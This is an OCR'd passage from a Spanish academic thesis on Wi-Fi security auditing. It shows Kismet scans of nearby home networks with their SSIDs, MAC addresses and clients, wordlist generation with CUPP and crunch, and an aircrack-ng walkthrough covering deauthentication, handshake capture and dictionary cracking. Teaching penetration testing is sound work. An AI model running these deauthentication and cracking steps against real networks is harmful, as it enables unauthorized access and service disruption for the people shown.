pertenece esta red.

SSID: X | DEVICE: SCARLET

SSiD Cloaked / Empty (0 spaces) | Name Scarlet )

First Seen Nov 192023 16:01:39 Notes Empty

Last Seen Nov 192023 16:22:33 | MAC Address AC/CF:85:F0:11:34 )

Encryption WPA2 WPA2-PSK TKIP AES-CCM Manufacturer Huawei Technologies Ltd

Adastiningsn foope WiFi AP

v Scarlet - AC:CF:85:F0:11:34 - WPA2 WPA2-PSK TKIP AES-CCM h First Seen Sun Nov 19 2023 16:01:39 GMT-0500 (Ecuador Time)
Advertising Device View Device Details 1 Last Seen Sun Nov 19 2023 16:22:30 GMT-0500 (Ecuador Time)
MAC AC:CF:85:F(0:11:34 (Huawei Technologies Ltd) ) Frequencies
Name Scarlet | Channel 1o
Type Wi-Fi AP i Main Frequency 2457 GHz
Advertised encryption WPA2 WPA2-PSK TKIP AES-CCM Packet frequency distribution
First advertised Nov 192023 16:01:39 | 100500
Last advertised Nov 19 2023 16:22:34 ] 10049.8
Last advertised SSID Cloaked / Empty (0 spaces) 10049.6

10049.4

Figura 12. Informacién de red
Fuente: Propia
3.2.7 ESCENARIO 1 RED “XTREAM_GONZALEZ”.

En la gréafica proporciona informacion detallada sobre la red, incluyendo el nombre
del propietario, la frecuencia de trabajo y el canal utilizado. Ademaés, se muestra el
rango de sefial en el que la red estd emitiendo datos, lo que permite evaluar la

cobertura y la calidad de la conexién.
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Device: XTRIM_GONZALEZ X DEVICE: XTRIM_GONZALEZ X

| |

7 |

476H i
Tatal Packets 92187

Signa LLC/Management 40403

Monitor Signal Monitor Errorfinvalid 0

S % Data 51784

atest Signa -Fdom Encrypted N

Min. Signal -H5dom 1l Fittered 0

Max. Signal -Adbm Data Transferred 5L21MB |
Packets

» Wi R 11

Figura 13. Datos que genera la red Wi-fi
Fuente: propia
En la siguiente imagen muestra el recuento total de paquetes generados por la red

inalambrica, lo que es crucial para evaluar el trafico y la eficiencia de la red. Este
dato es fundamental para identificar posibles congestiones, problemas de

rendimiento o patrones de uso inusual.

DEvicE: XTRIM_GONZALEZ X Hasaseatillasr... Unknown <> (3 100% @)

» Device Info

!

‘ Data Packets Clients ~ BSSID QBSSChanUsage  QBSS#
[ VManagement [N Data N a2 I Retry Frag
| 087MB 0 ACCRESFOIL34 wa na
TR I | A 9  BBFDBIC2O5B0 % 6
Total Packets 92368 ;
LLCManagement 40582 (L 0 BEFOBUCZO5E0 wa na
Data Packets 51786
Eror/invalid Packets 0
Fragmented Packets 0
Refried Packets 12797
Data (size) 56.29MB.
Refried Data. 10.78MB.
WPA Handshakes {Fomacy ]
15 per Channel

Figura 14. Paquetes que genere a red
Fuente: Propia
En la grafica muestra una representacion clara de los dispositivos conectados a la

red, con un total de 10 dispositivos mdviles identificados por sus direcciones IP.
Esta informacion es fundamental para el control y la gestion de la red, ya que
permite garantizar la seguridad y el rendimiento 6ptimos.

DEVicE: XTRIM_GONZALEZ XE e L. Unknown <> 3 100% @

Data Packets Clients 'QBSS Chan Usage QBSS#
,,,,,,,,,,,,,,, \C.CF 8
Associated Clients rm = . T =
» 4E:335CELBTIE treedetatl. SR et
» BI:CIB5:10:003E i

» DC:90:88:7B:C1:02
» FC:87:43:04:15:98
» B6:14:54:3D:2C:A5

» E8:68:E7:88:63:08
» 30:B1:B5:92:98:0C

Figura 15. Dispositivos conectados a la red
Fuente: Propia
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3.2.8 ESCENARIO 2 DE RED “SUMPATV_VERASUAREZ”.
Este este tipo de red, se puede observar el SSID de la red Wi-Fi, junto con otra
informacion esencial. ElI SSID, o nombre de la red, es un identificador Unico que

permite a los dispositivos conectarse a la red correcta.

SSID: SUMPATV_VERASUAREZ X
ssiD SUMPATV_VERASUAREZ (18 characters) i
First Seen Nov 20 2023 21:36:40 -
Last Seen Nov 20 2023 22:05:52 ]
Encryption None / Open g

Probing devices I
v AA:36:B8:DF:58:7C - AA:36:B8:DF:58:7C

Probing Device View Device Details

MAC AA:36:B8:DF:58:7C (Unknown) i
Name AA36:B8:DF:58:7C

Type Wi-Fi Client g

v 1A:32:E2:74:D9:E4 - 1A:32:E2:74:D9:E4

Probing Device View Device Details

MAC 1A:32:E2:74:D9:E4 (Unknown)

Name 1A:32:E2:74D9:E4 E
Type Wi-Fi Client

Figura 16. SSID de la red wifi
Fuente: propia
La visualizacién de la red permite identificar dispositivos que estan sondeando la

red, lo que indica intentos de conectarse a la misma. Ademas, se puede observar la
conectividad de otras redes inaldmbricas, lo que facilita la estabilidad de la

conexion.

SSID: SUMPATV_VERASUAREZ X l DEVIcE: AA:36:88:DF:58:7C

(18 characters Name AA:36:88:DF:58:7C &)

Encryption

Probing devices

I
v AA:36:B8.DF:58.7C - AX:36:B8:DF58:7C '
View Device Details ! Last Seen
AA36:B8DF58.7C (Unknown) | Frequencies
Name AA36BBDFS8TC Cha

2457 GHz

{ m

Type \Wi-Fi Client 1 Mai

Packet frequency distribution

v IA32E2T4DIEL - IA32EZT4D9:E4 |

Devic View Device Details |
1A32£2.74D3E4 (Unknown)

Probing Dexic

Figura 17. Dispositivos que sondean la red
Fuente: propia
La figura muestra una representacion grafica de las diferentes redes que estan

sondeando la red escaneada, lo que permite identificar posibles intentos de

conexion no autorizados o intrusiones en la red.
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SSID: SUMPATV_VERASUAREZ X | DEVICE: 1A:32:E2:74:D9:E4
~ Wi-Fi (802.11) SSIDs | » Device Info

SSID SUMPATV_VERASUAREZ (18 characters) ey

First Seen Nov 20 2023 21:36:40

Fragmented Packets 0

Last Seen Nov 20 2023 22:09:45 iy )
Encryption None / Open Data (ize) e
Probing devices Retried Data 1368
v AA:36:BE:DF:58:7C - AR:36:BE:DF58:7C

Probing Device View Device Details Probed SSIDs

MAC AA36:88:DF56:7C (Unknown) » Probed SSID CNT TOMALA

Name AA36BB.DF567C » Probed SSID Broadcast

Type WLFi Client » Probed SSID CNT TOMALA

» Probed SSID SUMPATV_VERASUAREZ
» Probed SSID ANGEL
» Probed SSID LAURA ZAMBRANO

v 1A:32:E2:74:D9:E4 - 1A:32:E2:74:D9:E4

Probing Device View Device Details
o 1432, E2.74:DE4 (Unknowr) » Probed SSID FAMILIA GUALE TOMALA
Name 1A:32E274D9ES Wi-Fi Client Behavior
Type WLF Cllent » Client of E0:67:83:57:82:4 (None)
v S4:FC:FO:ES:83:9A - S4FCFOESHIIA » Packet Graphs
Probing Device View Device Details
MAC 54:FC:FO.E5:83:9A (Samsung Electronics Ltd) LEET
Name S4FCFOESBI9A » DeviDebug Options

Bk

Figura 18. Redes que sondean la red
Fuente: propia

Esta tabla detalla las caracteristicas de cada red y la efectividad de la herramienta
Kismet en realizar el escaneo de redes e informacion ademas la utilizacién del
adaptador de red lo cual es importante para realizar este proceso de escaneo de
redes. (Ver Tabla 8)

Tabla 8. Ficha de informacion de vulnerabilidades
Fuente: Propia

Nombre del responsable: Fase:

Ricardo Gonzalez Escaneo de vulnerabilidades

Objetivo:

Identificar qué tipo de seguridad tienen las redes inalambricas, la frecuencia, la
intensidad de sefial entre otras caracteristicas utilizando la maquina virtual Kali

Linux con su herramienta integrada de Kismet.

Tiempo estimado: Nivel de complejidad

3 horas a.(bajo)  b.(medio)  c.(alto)

Herramientas tecnoldgicas utilizadas

Hardware: Software: Sistema Operativo Kali Linux

-Kismet
Computadora: Dell
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Adaptador de red: Wireless
Adapter 950Mbps 802.11.

Resultado Obtenidos:
Detalles encontrados

Red 1 Tiene una configuracion de red oculta, pero se
puede identificar el nombre de propietario,
ademas de saber en canal trabaja y la
intensidad de sefial emite, ademas de cuantos
dispositivos acceden a esta red.

(oculto)

Red 2 Esta red es visible, tienen una seguridad de
encriptacion adecuada, conocemos su SSID
GBI EONzeEZ) ademas tenemos informacion sobre la cantidad
de usuarios que se conectan, también sabemos
la intensidad de sefial de emite la red.

Red 3 Esta red es de tipo visible, aunque en el

(SUMPATV VERASUREZ) escaneo no se er’1cuentra el tlp(_) de er_lcrlptacmn
de la red, ademas sabemos la intensidad de

sefial, los usuarios gque estan conectadas a la
red, la frecuencia y el canal en la que se
trabaja.

Resultados:

Después de realizar este analisis de escaneo de vulnerabilidades de redes, los
resultados obtenidos a estas redes son las siguientes, las redes tienen una
seguridad de encriptacion aceptable, ademas cada red tiene dispositivos
conectados que generan datos constantemente, ademas una de las redes es de tipo
no visible es decir que el usuario decidié mantenerlo.
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3.3 FASE 5.- EXPLOTACION
3.3.1 FORMAS DE CREAR UN DICCIONARIO
3.3.2 CUPP (COMMON USER PASSWORDS PROFILER)

Existen varias formas de crear un diccionario de claves en esta fase vamos a poner
en préactica de estos dos métodos, en internet existe una documentacion llamada

cupp, a continuacion, se detalla el proceso.

En primer lugar, abre el navegador web predeterminado de Kali Linux como

Firefox, ya en el navegador propio de Kali Linux colocamos en la barra de

nee N

direcciones del navegador, escribe "“cupp descargar github”" y presiona enter.

BIERPOE 1254y Uii‘!u15:2o|

NewTab X +

€200 Q cuppdescargargithub 3

Qpenapplicatig

Thistime, searchwith: @ @ b @ * 00 ®

Figura 19. Cupp descargar github
Fuente: propia
Al interactuar con esta grafica, seremos redirigidos a una nueva ventana. Para

continuar, debemos hacer clic en el recuadro verde etiquetado como "code" y luego
copiar el enlace proporcionado, que suele ser
"https://github.com/Mebus/cupp.git”[65].

> Code (O Issues 370 1 Pullrequests (18 ( Actons [ Projects (@ Security [+ Insights

P master v | P 2branches ) 0tags Goto file

Local Codespaces

@ Mebus changed the rawsec URL

B Clone
i@ screenshots cleanup after merging quantun

HTTPS  Gi
[ bumpversion.cig Bump version: 3.2.5 - 3.3.0 Qb G

Y .gitignore tests for alectodb download an | https://github.com/Mebus/cupp.git

Figura 20. Copiamos el link
Fuente: propia
En esta grafica muestra que se esta iniciando el proceso de clonado de los

documentos necesarios para su correcto funcionamiento, ademas muestra el
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tamafio que ocupan los documentos. Por ultimo, aparcera un mensaje que indica

que esta listo.

D root@ricardo: fhomejricardo

Archivo Acciones Editar Vista Ayuda

[:f(ricardoﬁiricardo)—[~]

$ sudo su

[sudo] contrasefia para ricardo:
)-[/home/ricardo]

(
Ly git clone https://github.com/Mebus/cupp.git

Clonando en ‘cupp' ...

remote: Enumerating objects: 237, done.

remote: Total 237 (delta @), reused @ (delta @), pack-reused 237
Recibiendo objetos: 100% (237/237), 2.14 MiB | 982.00 KiB/s, listo.
Resolviendo deltas: 100% (125/125), listo.

Figura 21. Finalizacion de la clonacion
Fuente: propia
En esta grafica muestra lo siguiente, colocamos en nuestro terminal “python

cupp.py”’ para observar que informaciéon contiene esta herramienta en ella

observamos diferentes acciones que podemos realizar.

Al VO A\CCIO 3 s

)~ [ /home/ricardo/cupp]

{
python cupp.py
-3 lommon
# ser
# Easswords

# Qrofiler

[ Muris Kurgas | j@rgan@aremote-expleoit.erg ]
[ Mebus | https://github.com/Mebus/]

usage: cupp-py [-h]l [-i | —-w FILENAME | -1 | -a | -v1 [—ql
Common User Passwords Profiler
options:

—h, —help show this help message and exit

—3, —interactive Interactive questions for user password profiling
—w FILENAME Use this option to improve existing dictionary, or

WyD.pl output to make some pwnsauce
=3 Download huge wordlists from repository
—a Parse default usernames and passwords directly from
Alecto DB. Project Alecto uses purified databases of
Phenocelit and CIRT which were merged and enhanced
Show the version of this program.
Quiet mode (don't print banner)

Figura 22. Python cupp.py
Fuente: propia
En esta grafica colocamos en nuestro terminal “python cupp.py -i”” esto nos servira

para contestar algunas preguntas del usuario basicas para poder generar nuestro

diccionario de claves de la red que vamos atacar.

Parse default usernames and passwords dire

Alecto DB. Project Alecto uses purified da

Phenoelit and CIRT which were merged and e
-v, —version Show the version of this program.

-q, —quiet Quiet mode (don't print banner)

( )-[/home/ricardo/cupp]
L python cupp.py -if|

Figura 23. Python cupp.py -i
Fuente: propia
La siguiente grafica contiene una serie de preguntas clave que nos guiaran en la

creacion de nuestro diccionario, ademas de que también se puede colocar caracteres
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especiales para que haya una mejor combinacion de palabras y que el diccionario

sea mas efectivo.

= root@ricardo: fhomefricardo/cupp

Archivo Acciones Editar Vista Ayuda
\ (oo # Brofiler

Kurgas | J.rganaremote exploit.org 1
I https://gith m/Mebus/ ]

[+] Insert the information about the victim to mak
[+]1 If you d

te (DDMMYYYY): 270631993

> Child's name: ricardo
> Child's nickname: ricardo
> Child's birthdate (DDMMYYYY): 27031993

> Pet's name: falcon
> Company name: kalilinux|

Figura 24. Preguntas claves para poder generar nuestro diccionario

Fuente: propia

En estd siguiente grafica muestra el proceso de iniciacion de la creacion del

diccionario, el nombre que le otorgamos al archivo en este caso ricardo.txt en la

cual se van a crear una combinacion de 25596 palabras.

> Do you want to add some random numbers at the end of words? Y/[N]:y
> Leet mode? (i.e. leet = 1337) Y/[N]: y

[+] Now making a dictionary...

[+] Sorting list and removing duplicates...
[+] Saving dictionary to , counting
> Hyperspeed Print? (Y/n) : ||

Figura 25. Creacidn el diccionario
Fuente: propia

En la siguiente grafica podemos corroborar la creacion de nuestro diccionario

mediante el comando “ls” observamos el archivo creado ricardo.txt, podemos

observar lo que contiene el archivo mediante el siguiente comando “cat

ricardo.txt”.

( )-[/home/ricardo/cupp]
L, ls

CHANGELOG.md cupp.py README.md screenshots
cupp.cfg LICENSE ricardo.txt test_cupp.py

Et )-[ /home/ricardo/cupp]
cat ricardo.txt]]

Figura 26. "cat ricardo.txt"
Fuente: propia

Estés grafica muestra que cuando colocamos en el terminal “cat ricardo.txt”

Observamos la cantidad de combinaciones posibles que se han creado con la
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informacion del usuario de la red que otorgamos al inicio del cuestionario de

preguntas basicas.

=3 rooct@ricardo: fhomefricardo/cupp

Archivo Acciones Editar Vista Ayuda

rubensaa~

rubensaad

rubensRima

rubensRima!
rubensRima$
rubensRima%x
rubensRimas
rubensRimax
rubensRima®
rubensRimal
rubensRimaZz2
rubensRima3
rubensRimas4
rubensRimas
rubensRima6
rubensRima7
rubensRimas
rubensRimag
rubensRimaa®
rubensRuben
rubens_©3

rubens_©327
rubens_©33

rubens_©337
rubens_ ©37

rubens_©373
rubens_©393

Figura 27. Cantidad de combinaciones
Fuente: propia
3.3.3 CRUNCH (GENERADOR DE DICCIONARIO)

Existe otra manera de poder crear un diccionario la siguiente imagen muestra que
con el comando “mkdir crunch” en nuestro terminal colocamos “sudo su” luego
de ser super usuario procedemos a colocar “mkdir crunch” que sirve para crear
una carpeta en el directorio, después colocamos “cruch seguido el numero de

palabras y niumero de combinaciones”

= root@ricardo: fhomefricardo
Archivo Acciones Editar Vista Ayuda
[:—(ricardoﬁ}ricardo)—[~]

$ sudo su
[sudo] contraseiia para ricardo:

[jﬂ )-[/home/ricardo]
mkdir crunch

r—% )-[/home/ricardo]
'~ crunch 3 6 Jimena maji mariall

Figura 28. Comando “mkdir crunch”
Fuente: propia

En esta grafica muestra el nimero de palabras y las combinaciones que va a
contener nuestro diccionario con un tamafio de datos de 96 bytes como se ve en el
ejemplo: “Crunch 3 6 -p Jimena maji maria”.

C )-[/home/ricardo]
[ crunch 3 6 -p Jimena maji maria
h will now generate approximately the following amount of data: 96 bytes

Figura 29. Crunch colocamos el nimero de palabras y las combinaciones

67



Fuente: propia
Con Crunch colocamos el nimero de palabras y las combinaciones como se ve en

el ejemplo: “Crunch 3 6 Jimena maji maria” se generan una gran combinacién

de caracteres con las palabras escritas.

= [ /home/ricardo)]

~ crunch 3 § -p Jinena maji maria

Crunch will now generate approximately the following amount of data: 96 bytes
e

— - /hame/ricarde] 6

5+ crunch 3 6 Jinena maji mria

Crunch will now generate the following amount of data: 388592 bytes

:; Crunch will now generate the following mumber of lines: 6

(B] Jinenamajisaria
om 2 S
Crunch will now generate the following number of Lines: 55944 Tweirim)
m majiJinenamaria
Bi najinarialinena
o marialinenamaji
e il

£ wariamajilisen

= mkdir crunch

Figura 30. Numero de palabras y las combinaciones
) Fuente: propia
3.34 EVALUACION EN BASE A LOS LINEAMIENTOS DEL

ESTANDAR PTES (PENETRATION TESTING EXECUTION
STANDARD)

Muy Bajo: Desempefio nulo en el criterio evaluado.

Bajo: Desempefio limitado o con dificultades significativas en el criterio evaluado.
Medio: Desempefio aceptable, minimas limitaciones o debilidades.

Alto: Desempefio en el criterio evaluado, con pocas debilidades o limitaciones.
Muy Alto: Excelente desempefio en el criterio evaluado.

Esta escala de 1 a 10 permite cuantificar y comparar de manera sistematica el

rendimiento de las diferentes herramientas de hacking ético en cada aspecto clave:

Facilidad de Uso: este criterio evalUa de una manera muy sencilla y simple, sirve
para el usuario utilizar la herramienta, considerando los siguientes factores de
medicion:

- Interfaz

- Conocimientos técnicos

- Disponibilidad

Velocidad de Descifrado: es un criterio que evalUa la capacidad de la herramienta

en descifrar contrasefias de forma rapida considerando lo siguiente:
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- Meétodos de ataque utilizados (fuerza bruta, diccionario, etc.)

- Rendimiento y optimizacion de descifrado

Tasa de Exito: Este evalGa la efectividad de la herramienta en lograr el descifrado

de contrasefas, considerando lo siguiente:
- Porcentaje de éxito en escenarios y tipos de contrasefias (composicion).

Versatilidad: Este criterio evalla tanto la capacidad de la herramienta como en
adaptarse a diferentes métodos de ataque y entornos de red inaldmbrica,

considerando lo siguiente:

- Compatibilidad de protocolos
(WEP, WPA, WPA2 y WPA3)

- Posibilidad de realizar otros tipos de ataques.
(Denegacion de servicio y monitoreo)

- Integracion con otros sistemas y herramientas de seguridad

Puntuacion General: Este ultimo criterio representa una evaluacion de manera
global en sentido de la efectividad de la herramienta para el descifrado de
contrasefias en estos tipos de redes inaldmbricas, considerando dichos criterios
antes descritos.

Este andlisis de seguridad realizado en redes inalambricas 802.11 requiere el uso
especializado de herramientas que permitan el monitorizar el tréafico, detectar
vulnerabilidades y realizar pruebas de penetracion. Algunas de las herramientas
mas populares en este ambito mencionadas y utilizadas para realizar el proceso de

descifrado de claves. (Ver la Tabla 4.)

Tras evaluar estas y otras opciones, las herramientas elegidas como las mejores para
el analisis de seguridad en redes 802.11 fueron Kismet y Aircrack-ng. Kismet
destaca por su capacidad de deteccion y monitorizacion, mientras que Aircrack-ng
sobresale en las pruebas de penetracion y la evaluacion de vulnerabilidades. La
combinacion de estas dos herramientas brinda una solucién completa y efectiva

para el andlisis de seguridad en entornos inalambricos. (ver Tabla 9)
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Utilizando el formato CVSS:3.0 estandar, la férmula para la herramienta de
hacking ético KISMET seria la siguiente:

(Hi.gh)
Attack Vector (AV) Scope (S)
Adjacent (4) | | Local )| | Physical (P) | Changed (C)
Attack Complexity (AC) Confidentiality (C)
High () None ()| [Low(L)
Privileges Required (PR) Integrity (1)
| None(N) | | Low (L) m Nor!e{N) Low (L)
User Interaction (Ul) Availability (A)
m Required (R) None (N)| | Low (L)

Figura 31. CVSS3 KISMET
CVSS:3.0/AV:[NJ/AC:[L)/PR:[HJ/UL:[N}/S:[U)/C:[H)/1:[HV/A:[H]
AV (Attack Vector): [N] — Network
KISMET es una herramienta de hacking ético que se utiliza a través de la red.
AC (Attack Complexity): [L] - Low
KISMET fécil de utilizar y no requiere un alto grado de complejidad.
PR (Privileges Required): [H] - High
Se requieren privilegios de usuario avanzados o de administrador.
Ul (User Interaction): [N] - None
No requiere interaccion del usuario, ya que puede ser ejecutada de forma auténoma.
S (Scope): [U] - Unchanged
No amplia el alcance del impacto més alla del componente objetivo.
C (Confidentiality Impact): [H] - High
Puede comprometer la confidencialidad de los datos y descifrar el trafico de red.
I (Integrity Impact): [H] - High

KISMET puede permitir la modificacion o el control de los datos y sistemas de la
red.

A (Availability Impact): [H] — High
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HERRAMIENTA DE HACKING ETICO AIRCRACK-NG:

CVSS:3.0/AV:[NJ/AC:[L)/PR:[H]/UL:[N}/S:[U}/C:[H/1:[HVA:[H ]

Base Score 7.2
(High)

Attack Vector (AV) Scope (S)

[Adjacent (&)] (Local )] [Physical 7)) [cnanged (@)

Attack Complexity (AC) Confidentiality (C)

[Hign | [ none ] [Loww |

Privileges Required (PR) Integrity (1)

(e, v (e v

User Interaction (UI) Availability (A)

| Required (R) | |@\ |@\

Vector String -

CVSS:3.0/AV:NIAC:LIPR: HIUEN/ S:UIC:HIT:HIAH

Figura 32. CVSS AIRCRACK-NG
AV (Vector de ataque): [N] - Red

Aircrack-ng es una herramienta de hacking ético que se utiliza a través de la red.
AC (complejidad del ataque): [L] - Baja

Aircrack-ng es una herramienta relativamente facil de utilizar y no requiere un alto

grado de complejidad en su explotacion.
PR (privilegios requeridos): [H] - Alto

Para utilizar Aircrack-ng de manera efectiva, se requieren privilegios de usuario

avanzados o de administrador.
Ul (Interaccion del usuario): [N] - Ninguno

Aircrack-ng no requiere interaccion del usuario, ya que puede ser ejecutada de

forma autébnoma.
S (alcance): [U] - Sin cambios

El uso de Aircrack-ng no amplia el alcance del impacto mas alla del componente

objetivo.
C (Impacto de confidencialidad): [H] - Alto

Aircrack-ng puede comprometer gravemente la confidencialidad de la informacion

al descifrar las contrasenas de redes inalambricas.

71



I (Impacto de integridad): [H] - Alto

Aircrack-ng puede permitir la modificacion o el control de los datos y sistemas de

la red.
A (impacto en la disponibilidad): [H] - Alto

Aircrack-ng puede provocar la denegacion de servicio o la indisponibilidad de los

sistemas de la red.

Tabla 9. Valoracion de herramientas

Herramienta Aircrack—ng Kismet
Vector de ataque N N
(AV)
Complejidad de ataque L L
(AC)
Privilegios requeridos H H
(PR)
Interaccidn del usuario N N
(uI)
Alcance U U
()
Impacto de
H H
confidencialidad
(©
Impacto de integridad H H
)
Impacto de disponibilidad H H

(A)

Nota: Informacién realizada segln la investigacion[66].

3.3.5 ACTIVACION DE HERRAMIENTAS

En esta grafica muestra el primer paso que debemos realizar que es instalar el
aircrack-ng para eso en nuestro terminal colocaremos el siguiente comando sudo
apt install aircrack-ng de los cual indica que vamos a darle prioridad de super

usuario para una correcta instalacion.
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] ricardo@ricardo: ~

Archivo Acciones Editar Vista Ayuda

L—(ricardo@ ricardo)-[~]
§ sudo apt install aircrack-ng]

Figura 33. Instalar el aircrack-ng en el terminal
Fuente: propia
En la siguiente figura mediante el comando colocado en nuestro terminar

“iwconfig” verificamos si aparece o reconoce el computador la interfaz de nuestro

adaptador de red wifi, en este caso aparece “wlan0” pero debemos activarlo para

posteriormente usarlo.

wlang: flags=4099<UP, BROADCAST, MULTICAST> mtu 1560
ether 36:b8:12:70:79:fa txqueuelen 1000 (Ethernet)
RX packets 0 bytes 8 (0.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped 0 overruns @ carrier 0 collisions 0

Figura 34. Interfaz de nuestro adaptador de red wifi
Fuente: propia
En esta grafica muestra en nuestro terminal mediante el comando “airmon-ng start

wlan0” estamos habilitando el modo monitor de nuestro adaptador de red wifi, lo
cual es importante para continuar con el proceso, nos muestra un mensaje “monitor

mode enabled”.

| root@ricardo: fhome/ricardo
Archivo Acciones Editar Vista Ayuda

—< )-[/home/ricardo]

— airmon-ng start wlan@

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
549 NetworkManager
4475 wpa_supplicant

PHY Interface Driver Chipset

phye wlan® mt7601u Ralink Technology, Corp. MT7601U
(monitor mode enabled)

Figura 35. Habilitando el modo monitor
Fuente: Propia
En la grafica a continuacion en el terminal colocamos “airodump-ng wlan0” con

esto estamos escaneando las redes inaldmbricas que detecta nuestro adaptador de

red, la grafica muestra las redes disponibles que puede detectar.
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( )-[/home/ricardo]
airodump-ng wlano]

CH 6 ][ Elapsed: 24 s ][ 2023-11-22 09:22
BSSID PWR Beacons #Data, #/s MB  ENC CIPHER AUTH ESSID

6C:14:6E:45:C5:C8 -76 29 0 130 WPA2 CCMP PSK CLARO_BALONTIGRERO
H -84 26 324  WPA2 CCMP PSK AGUAS
-82 ) 195 WPA2 CCMP  PSK Vista Sol
-84 ) 360 WPA2 CCMP PSK Pawerlifting
-65 ) 360 WPA2 CCMP  PSK <length: @>
-84 ) 360 WPA2 CCMP PSK <length: @>
-80 ) 270  WPA2 CCMP  PSK VANESSA G
-83 ) 270 WPA2 CCMP PSK Vista Sol
-85 130 WPA2 CCMP PSK SUMPATV_ARANEA
-63 130 WPA2 CCMP PSK CLARO_FAMILIAESCALANTE
-84 360 WPA2 CCMP  PSK KIARITA
-82 0 270  WPA2 CCMP PSK Vvista Sol 1
1 130 WPA2 CCMP  PSK Presidente Beach
324 WPA2 CCMP PSK XTRIM_GONZALEZ
5 130 WPA2 CCMP  PSK <length: 7>
B8:DD:71:D9:29:26 0 ) ) =3 <length: 0>

BSSID STATION Rate Lost Frames Notes Probes

Figura 36. Escaneando las redes inaldmbricas
Fuente: propia
3.3.6 ESCENARIO 2 ATAQUE DE DICCIONARIO RED_1

La siguiente gréfica ilustra el proceso de escaneo de redes inalambricas cercanas
utilizando el comando “airmon-ng start wlan0.”. Ademas, muestra las redes
inalambricas detectadas por nuestro adaptador de red. Para proceder con el ataque,
es necesario seleccionarla.

02:EBIDB:ADICOIAC WPAZ CCMP  PSK- clength: 0>

00:EB:D8:BD:C9:AC WPA2 CCMP PSK KIARITA

99:80:78:CD:10:E6 WPA2 CCMP  PSK Presidente Beach

20:28:3E:8C:12:14 WPA2 CCMP PSK Vista Sol

B8:FO:B9:C2:95:B0 JiPA2 CCNP TRIN_GONZAL 2
Quitting ...

[_—( )-[ /home/ricardo]
airodump-ng -c 1 ~bssid B:FO:B9:(2.95:0 hacking! wland]

Figura 37. Seleccion de red.
Fuente: propia
La siguiente ilustracién muestra la ejecucion del comando airodump-ng en la

ventana del terminal. Este comando se utiliza para analizar y capturar paquetes de
datos de las redes inalambricas cercanas. EI comando airodump-ng proporciona
informacion detallada sobre las redes detectadas, incluyendo el nombre de la red
(SSID), el canal que utiliza, el tipo de seguridad, la direccion MAC de los

dispositivos conectados y la potencia de la sefial.
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BSSID

STATION

Quitting ...

il

)-[/home/ricardo]
airodump-ng -c 1 —bssid B8:F

PWR

Rate

Lost Frames Notes Probes

9:C2:95:B0 -w hackingl wlan®
11:14:24 Created capture file "hackingl-01.cap”.

CH 1 1[ Elapsed: 12 s 1[ 2023-11-26 11:14

BSSID

B8:

F0:B9:C2:95:B0 -38 100

STATION

.gc.pp _Qp.s0.0A-CQ-p0.

PWR RXQ Beacons

128

1946
PWR

-74
-40
-70

#Data, #/s

139

Rate

CH MB

1 324 WPA2 CCMP

Lost Frames Notes Probes

ENC CIPHER AUTH ESSID

PSK XTRIM_GONZAJ

Figura 38. Airodump-ng gue nos sirve para analizar y capturar paguetes
Fuente: propia

La siguiente ilustracion muestra la generacion de trafico en la red inalambrica
utilizando el comando aireplay-ng. ElI comando aireplay-ng es una herramienta
versatil que permite generar diferentes tipos de trafico en redes inaldmbricas. En el

ejemplo mostrado, el comando genera paquetes de datos dirigidos al dispositivo con

direccion MAC 30:B1:B5:92:98:0C en la red con BSSID B8:FOB9:C2:95:B0.

Archivo Acciones Editar Vista Ayuda

BSSID

PUR RXQ Beacons

#Data, #/s (H MB ENC CIPHER AUTH ESS

CH 1 ][ Elapsed: 6 mins ][ 2023-11-26 11:21 ][ interface wlan® down

P

[sudo] contrasefia para ricardo:
- /home/ricardo]
= aireplay-ng -8 9 -a B8:F9:B9:C2:95:B8 -C
33 Waiting for beacon frame (BSSID: B8
Sending 64 directed Deuth (code 7).

Sending 64 directed Deuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed Deuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed Deuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed Deuth (code 7).

11:20:3% Sending 64 directed DeAuth (code 7).

BSSID

:0C
:(2:95:80) on channel 1

[3
[3f
[3
s [3
s [3
s [3
s [3

1:B!

PR RXQ Beacons

3007 2543 8

Lost

1168
16
26
2
54

909

7944

7649

Figura 39. Aireplay-ng genera trafico en la red

root@ricardo: fhomelricardo

Archivo Acciones Editar Vista Ayuda

Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
Sending 64 directed DeAuth (code 7).
:54 Sending 64 directed DeAuth (code 7).

Fuente: Propia

PWR RXQ Beacons
: 13 mins ][ 2023-11-26 11:28 ][ WPA handshake: B8:F@:B9:C2:95:B0

PWR RXQ Beacons

-65 0

STATION

5975

de seguridad de la red objetivo y obtener acceso no autorizado.

#Data, #/s CH MB ENC CIPHER

#Data, #/s CH MB ENC CIPHER

49389 69 1 324 WPA2 CCMP

Rate Lost

11730

0
5
2
0
0
1
2
0

Figura 40. Capturamos el handshake

Fuente: Propia

75

#Data, #/s CH MB ENC CIPHER AUTH ES
1 324 WPA2 COW PSK XT

Frames Notes Probe

La siguiente ilustracion indica que el proceso de generacion de trafico con el
comando aireplay-ng debe continuar hasta que se capture el handshake de la red

objetivo. Una vez capturado el handshake, se puede utilizar para descifrar la clave

AUTH ESS

AUTH ESSID

PSK  XTRIM_GONZALEZ

Frames Notes Probes

EAPOL  XTRIM_GONZALEZ

XTRIM_GONZALEZ




La siguiente ilustracion muestra la ejecucion del comando aircrack-ng en la
ventana del terminal para descifrar la clave de seguridad de una red inalambrica. En
el ejemplo mostrado, el comando aircrack-ng utiliza el handshake generado con
el comando aireplay-ng, el diccionario password.txt y el archivo .cap que contiene

los paquetes capturados.

B0 24e-11 0 33415

E\‘ J-[ {home/ricardo] 6 le-le 2658 18325
aircrack-ng -b B8:FA:B9:C2:95:80 -w rackyou.txt hacking1-01,cap

